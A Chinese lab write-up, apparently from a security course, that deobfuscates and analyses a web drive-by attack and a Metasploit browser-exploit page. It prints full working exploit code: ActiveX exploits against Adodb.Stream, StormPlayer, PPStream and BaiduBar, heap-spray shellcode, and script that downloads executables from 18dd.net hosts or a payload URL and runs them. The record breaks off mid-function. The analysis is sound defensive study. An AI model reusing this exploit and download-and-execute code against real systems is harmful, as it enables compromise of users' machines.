5wnBD3UR8MSWXmGXF8EbJbgL4U9Cz9d8hbrtHlbc4UR+MgLEzQqTgsGm/RMkbCku5swBqrEeDsvJqKSjI50
a+diCFk7Zm2LuhVbwfTitsgjtr1V0Wk8MYJomyn7fGexlMHOigURGdnfXx7T1sflG3rIUv0LKSb+j+XE5o+
GjR50mBswgixNpkFDPdlk80N7lMwj+SpBPzTT3MIuCnvVJdnemahexDmVjJxBTIsIc4AfWURj6sFK9+Vu7e
lKZBF86J9KQN4aUB7ujQnmsyCk29KQDhUEYHfyN7aDc3pdxl2LHrSyn6e790e5eZ6aC2LJUsokocz3ixyAY
DLS6scEpoRbcU2c9CcBLDWNxMa/CpEHKEM5LPnt2lPoAwfZZNrgtWMznVcYQJzAueKcsWJ4g8crzv8swYHX
MQJswcWucrwGFEsIFkLDOpvOm3FvKOKZq+ZNo8hEUgGCzry2dVQzhLCLjdlmZ1oJ1v8wINli/2qdncjR4MA
Wd95T/Ugal6GEv/uDQGvOvszqT0XBrj+K+6YOjAHshnAjhSKk9XoOCUNiZIqH6b73gVWGvyJImY5zJEppVT
/EMuYu6PAGmF2zzLEQbCmMmEuUQqYvdSSg0gHnga0k+ICBmc52x4VZ30E67jjytU5Wsmo0zbui7TvReiEgy
UJVgJUwNpyXrPvKpNhvQSYj02mQ/xqKDjv2QVHiSLFzMZaUPpfB0wKTP85tBxAUZRrEEVGCWUXaLfPuj9ja
pBdt7glq+qO5DKhtF37/JxAbulqh0Mx8U/sjjtUadC1H5vpqqYTi7dMWFprAt6W1mokPTzEHGaOvWAGzdO8
qspbE0rz2csHun2KyY/5347k38AH0bkfHBTQ9bQI32dkRqiEY9Y9CWTRllVKuLhnCr0bYJ0YP5o751jlw67
Lsb1bNRkKFyec17oo43g==";
t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] (t);
</script>
5)第二个文件的内容看起来很复杂,但实际上这是一种被称为 XXTEA+Base64 的加密方法,对付这种加密方法,我们只要找到它的加密密钥就可以。注意上面的倒数第三行,即:
t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
6)xxtea_decrypt 函数的第二个参数 \x73\x63\x72\x69\x70\x74 就是密钥。这里简单地使用了 16 进制加密。我进行在线转换一下,可以得到密钥是“script”,如下图:
7)我们将密钥输入,对上述文件进行解密 ,可以看到是16进制的文本文档
<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>
8)将16进制的文本进行复制,然后进行转换,可以得到如下代码:
由以下我们可以发现利用到的应用程序漏洞有: Adodb.Stream——微软数据库访问对象漏洞; MPS.StormPlayer——暴风影音漏洞; POWERPLAYER.PowerPlayerCtrl.1——PPStream漏洞;
BaiduBar.Tool——百度搜霸漏洞;这些都是现在网络用户使用非常频繁的软件,其危害性可见一斑。
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
9)将上述程序中涉及到的漏洞整理到文本文档中
10)依次对上述4个文件进行Hash,可以得到如下:
整理可得:
MD5(http://aa.18dd.net/aa/1.js,32) =5D7E9058A857AA2ABEE820D5473C5FA4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870C28CC279D457746B3796A262F166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5F0B8BF0385314DBE0E5EC95E6ABEDC2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1C1D7B3539A617517C49EEE4120783B2
11)接下来,在hashed文件夹中找到这四个文件:
-
首先看 5D7E9058A857AA2ABEE820D5473C5FA4 可以发现是16进制文件,
-
跟之前一样,我们进行转化,可以得到http://down.18dd.net/bb/014.exe程序,
![](https://img2022.cnblogs.com/blog/2773324/202205/2773324-20220524111852689-1937887041.png)
var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open
("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close
();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}
-
对上述程序做哈希,可以得到:CA4E4A1730B0F69A9B94393D9443B979
-
从hash 文件夹中找到:
12)接下来在Hash文件找的3870C28CC279D457746B3796A262F166文件,发现也是16进制的文件,并且我们发现有packed字段
-
之后,我们在控制台上进行输出,将输出的内容复制到一个文档中进行分析
-
可以发现有shelldode字段,后面跟4个16进制,两两组成一个ASCAII码,这两个ASCAII码需要交换顺序才是一个正确的解密,
因此我们猜测shellcode很可能就是下载器。对于一个下载器来说,必不可少的一项内容就是要下载的内容的 URL,我们可以找一找这加密的代码里有 URL 特征的字符串。
URL中必然出现斜线 /, / 的十六进制ASCII码是2f,在shellcode中找 /
-
如上图我们找到6处2f,我们找相邻比较近的,发现后四处相邻,于是取从第三个2f开始到末尾的内容写出,
-
将上述16进制转换成字符可以看到结果为:http://down.18dd.net/bb/bf.exe
-
对上述结果做hash,并将hash后的结果是:268CBD59FBED235F6CF6B41B92B03F8E,在我们的文件夹中找到
13)http://aa.18dd.net/aa/pps.js做Hash得到结果为 5F0B8BF0385314DBE0E5EC95E6ABEDC2,我们在Hash文件夹中将其找到,并用记事本将其打开:
- 可以发现是一个8进制文件
eval("\57\52\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\
42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\
40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\
70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\
60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\
45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\
66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\52\57\15\12\160\160\163\75\50\144\157\143\165\155\145\156\164\
56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\42\157\142\152\145\143\164\42\51\51\73\15\12\160\160\163\56\163\145\164\101\164\164\162\151\142\165\164\145\50\42\
143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\65\105\103\67\103\65\61\61\55\103\104\60\106\55\64\62\105\66\55\70\63\60\103\55\61\102\104\71\70\70\62\106\63\64\
65\70\42\51\15\12\166\141\162\40\163\150\145\154\154\143\157\144\145\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\146\63\145\71\45\165\60\60\60\60\42\53\15\12\42\45\
165\71\60\60\60\45\165\71\60\71\60\45\165\65\141\71\60\45\165\141\61\66\64\45\165\60\60\63\60\45\165\60\60\60\60\45\165\64\60\70\142\45\165\70\142\60\143\42\40\53\15\12\42\
45\165\61\143\67\60\45\165\70\142\141\144\45\165\60\70\64\60\45\165\144\70\70\142\45\165\67\63\70\142\45\165\70\142\63\143\45\165\61\145\67\64\45\165\60\63\67\70\42\40\53\
15\12\42\45\165\70\142\146\63\45\165\62\60\67\145\45\165\146\142\60\63\45\165\64\145\70\142\45\165\63\63\61\64\45\165\65\66\145\144\45\165\65\61\65\67\45\165\63\146\70\142\
42\40\53\15\12\42\45\165\146\142\60\63\45\165\146\62\70\142\45\165\60\145\66\141\45\165\146\63\65\71\45\165\67\64\141\66\45\165\65\71\60\70\45\165\70\63\65\146\45\165\60\64\
143\67\42\40\53\15\12\42\45\165\145\62\64\65\45\165\65\71\145\71\45\165\65\145\65\146\45\165\143\144\70\142\45\165\64\66\70\142\45\165\60\63\62\64\45\165\144\61\143\63\45\
165\60\63\145\61\42\40\53\15\12\42\45\165\63\63\143\61\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\
61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\
66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\
45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\
61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\
143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\
165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\60\64\143\67\45\165\65\143\60\
63\45\165\62\145\66\61\45\165\143\67\66\65\45\165\60\63\64\64\42\40\53\15\12\42\45\165\67\70\60\64\45\165\60\60\66\65\45\165\63\63\60\60\45\165\65\60\143\60\45\165\65\63\65\
60\45\165\65\60\65\66\45\165\65\67\146\146\45\165\70\142\146\143\42\40\53\15\12\42\45\165\66\141\144\143\45\165\65\63\60\60\45\165\65\67\146\146\45\165\66\70\146\60\45\165\
62\64\65\61\45\165\60\60\64\60\45\165\146\146\65\70\45\165\63\63\144\60\42\40\53\15\12\42\45\165\141\143\143\60\45\165\143\60\70\65\45\165\146\71\67\65\45\165\65\62\65\61\
45\165\65\63\65\66\45\165\144\62\146\146\45\165\65\71\65\141\45\165\145\62\141\142\42\40\53\15\12\42\45\165\63\63\145\145\45\165\143\63\143\60\45\165\60\143\145\70\45\165\
146\146\146\146\45\165\64\67\146\146\45\165\67\64\66\65\45\165\67\62\65\60\45\165\66\63\66\146\42\40\53\15\12\42\45\165\66\64\64\61\45\165\67\62\66\64\45\165\67\63\66\65\
45\165\60\60\67\63\45\165\66\65\64\67\45\165\65\63\67\64\45\165\67\63\67\71\45\165\66\65\67\64\42\40\53\15\12\42\45\165\64\64\66\144\45\165\67\62\66\71\45\165\66\63\66\65\
45\165\66\146\67\64\45\165\67\71\67\62\45\165\60\60\64\61\45\165\66\71\65\67\45\165\64\65\66\145\42\40\53\15\12\42\45\165\66\65\67\70\45\165\60\60\66\63\45\165\67\70\64\65\
45\165\67\64\66\71\45\165\66\70\65\64\45\165\66\65\67\62\45\165\66\64\66\61\45\165\64\143\60\60\42\40\53\15\12\42\45\165\66\61\66\146\45\165\64\143\66\64\45\165\66\62\66\
71\45\165\66\61\67\62\45\165\67\71\67\62\45\165\60\60\64\61\45\165\67\62\67\65\45\165\66\144\66\143\42\40\53\15\12\42\45\165\66\145\66\146\45\165\65\65\60\60\45\165\64\143\
65\62\45\165\66\146\64\64\45\165\66\145\67\67\45\165\66\146\66\143\45\165\66\64\66\61\45\165\66\146\65\64\42\40\53\15\12\42\45\165\66\71\64\66\45\165\66\65\66\143\45\165\
60\60\64\61\45\165\67\64\66\70\45\165\67\60\67\64\45\165\62\146\63\141\45\165\66\64\62\146\45\165\67\67\66\146\45\165\62\145\66\145\45\165\63\70\63\61\45\165\66\64\66\64\
45\165\66\145\62\145\45\165\67\64\66\65\45\165\66\62\62\146\45\165\62\146\66\62\45\165\67\60\67\60\45\165\62\145\67\63\45\165\67\70\66\65\45\165\60\60\66\65\42\51\73\15\12\
166\141\162\40\142\151\147\142\154\157\143\153\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\71\60\71\60\45\165\71\60\71\60\42\51\73\15\12\166\141\162\40\150\145\
141\144\145\162\163\151\172\145\40\75\40\62\60\73\15\12\166\141\162\40\163\154\141\143\153\163\160\141\143\145\40\75\40\150\145\141\144\145\162\163\151\172\145\53\163\150\
145\154\154\143\157\144\145\56\154\145\156\147\164\150\73\15\12\167\150\151\154\145\40\50\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\74\163\154\141\143\
153\163\160\141\143\145\51\40\142\151\147\142\154\157\143\153\53\75\142\151\147\142\154\157\143\153\73\15\12\146\151\154\154\142\154\157\143\153\40\75\40\142\151\147\142\
154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\163\154\141\143\153\163\160\141\143\145\51\73\15\12\142\154\157\143\153\40\75\40\142\151\147\142\154\
157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\55\163\154\141\143\153\163\160\141\143\145\51\
73\15\12\167\150\151\154\145\50\142\154\157\143\153\56\154\145\156\147\164\150\53\163\154\141\143\153\163\160\141\143\145\74\60\170\64\60\60\60\60\51\40\142\154\157\143\
153\40\75\40\142\154\157\143\153\53\142\154\157\143\153\53\146\151\154\154\142\154\157\143\153\73\15\12\155\145\155\157\162\171\40\75\40\156\145\167\40\101\162\162\141\
171\50\51\73\15\12\146\157\162\40\50\170\75\60\73\40\170\74\64\60\60\73\40\170\53\53\51\40\155\145\155\157\162\171\133\170\135\40\75\40\142\154\157\143\153\40\53\40\163\
150\145\154\154\143\157\144\145\73\15\12\166\141\162\40\142\165\146\146\145\162\40\75\40\47\47\73\15\12\167\150\151\154\145\40\50\142\165\146\146\145\162\56\154\145\156\
147\164\150\40\74\40\65\60\60\51\40\142\165\146\146\145\162\53\75\42\134\170\60\141\134\170\60\141\134\170\60\141\134\170\60\141\42\73\15\12\160\160\163\56\114\157\147\
157\40\75\40\142\165\146\146\145\162\15\12")
- 同样,我们将8进制文件进行转换成字符串,如下图:
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62
2f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer
-
然后跟之前的操作一样,同样有shellcode,我们用相同的方法得到 http://down.18dd.net/bb/pps.exe,之后对其进行Hash;
-
Hash的结果是FF59B3B8961F502289C1B4DF8C37E2A4,同样在文件夹中找到
14)*最后一个 http://down.18dd.net/bb/bd.cab 做Hash得到结果为:1C1D7B3539A617517C49EEE4120783B2,我们在Hash文件夹中将其找到,重命名后可以发现是一个压缩文件:
- 解压文件,发现得到了一个bd.exe 文件
至此,我们得到了四个.exe文件,分别014.exe,bf.exe,pps.exe,bd.exe
15)之后我,我们四个文件内容分别做一下MD5,会发现都是相同的 1290ecd734d68d52318ea9016dc6fe63
所以这四个文件内容完全相同!任务量减少到四分之一,只要分析其中一个就可以了。
16)接下来进行木马行为分析,使用PEiD查看可执行文件,如下图:
- 查看string字段,可以看到有好多程序,可以对这些做Hash,然后从Hash文件得到这些程序
- 查看具体结构,我们可以看出其中有dword字段,为注册表的键值,可以猜测该程序可能会进行注册表的修改和删除的等一列操作。
(3)攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
具体过程如下:
1)构建漏洞的过程如第一个实践所示,同样让靶机尝试登录,
2)作为攻击机,我们可以获取到靶机的IP地址
3)作为防守方,我们登录攻击机构造的漏洞网址,可以发现出现一串数字
4)右键查看源码,发现对关键指令做了字符串拼接处理和使用了大量的空白和间隔,猜测是为了防止被杀毒软件查杀。
5)我们删除空白和间隔,利用压缩格式化工具http://www.esjson.com/htmlformat.html 去进行压缩格式化,整理得如下代码:
<html>
<head>
<title></title>
<script language="javascript">
function HuVtDZksueTZGkmdHl(o, n) {
var r = null;
try {
eval("r=o.CreateObject(n)")
} catch(e) {}
if (!r) {
try {
eval("r=o.CreateObject(n,'')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.CreateObject(n,'','')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject('',n)")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n,'')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n)")
} catch(e) {}
}
return (r)
}
function gXOolkNcRRx(a) {
var s = HuVtDZksueTZGkmdHl(a, "WScript.Shell");
var o = HuVtDZksueTZGkmdHl(a, "ADODB.Stream");
var e = s.Environment("Process");
var url = document.location + '/payload';
var xml = null;
var bin = e.Item("TEMP") + "\\KUVkctKFjqmITCtNXKMNgVU.exe";
var dat;
try {
xml = new XMLHttpRequest()
} catch(e) {
try {
xml = new ActiveXObject("Microsoft.XMLHTTP")
} catch(e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
}
}
if (!xml) {
return (0)
}
xml.open("GET", url, false);
xml.send(null);
dat = xml.responseBody;
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
s.Run(bin, 0)
}
function mpGIYSoIelaqiCzcvEXVNhOc() {
var i = 0;
var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', null);
while (t[i]) {
var a = null;
if (t[i].substring(0, 1) == '{') {
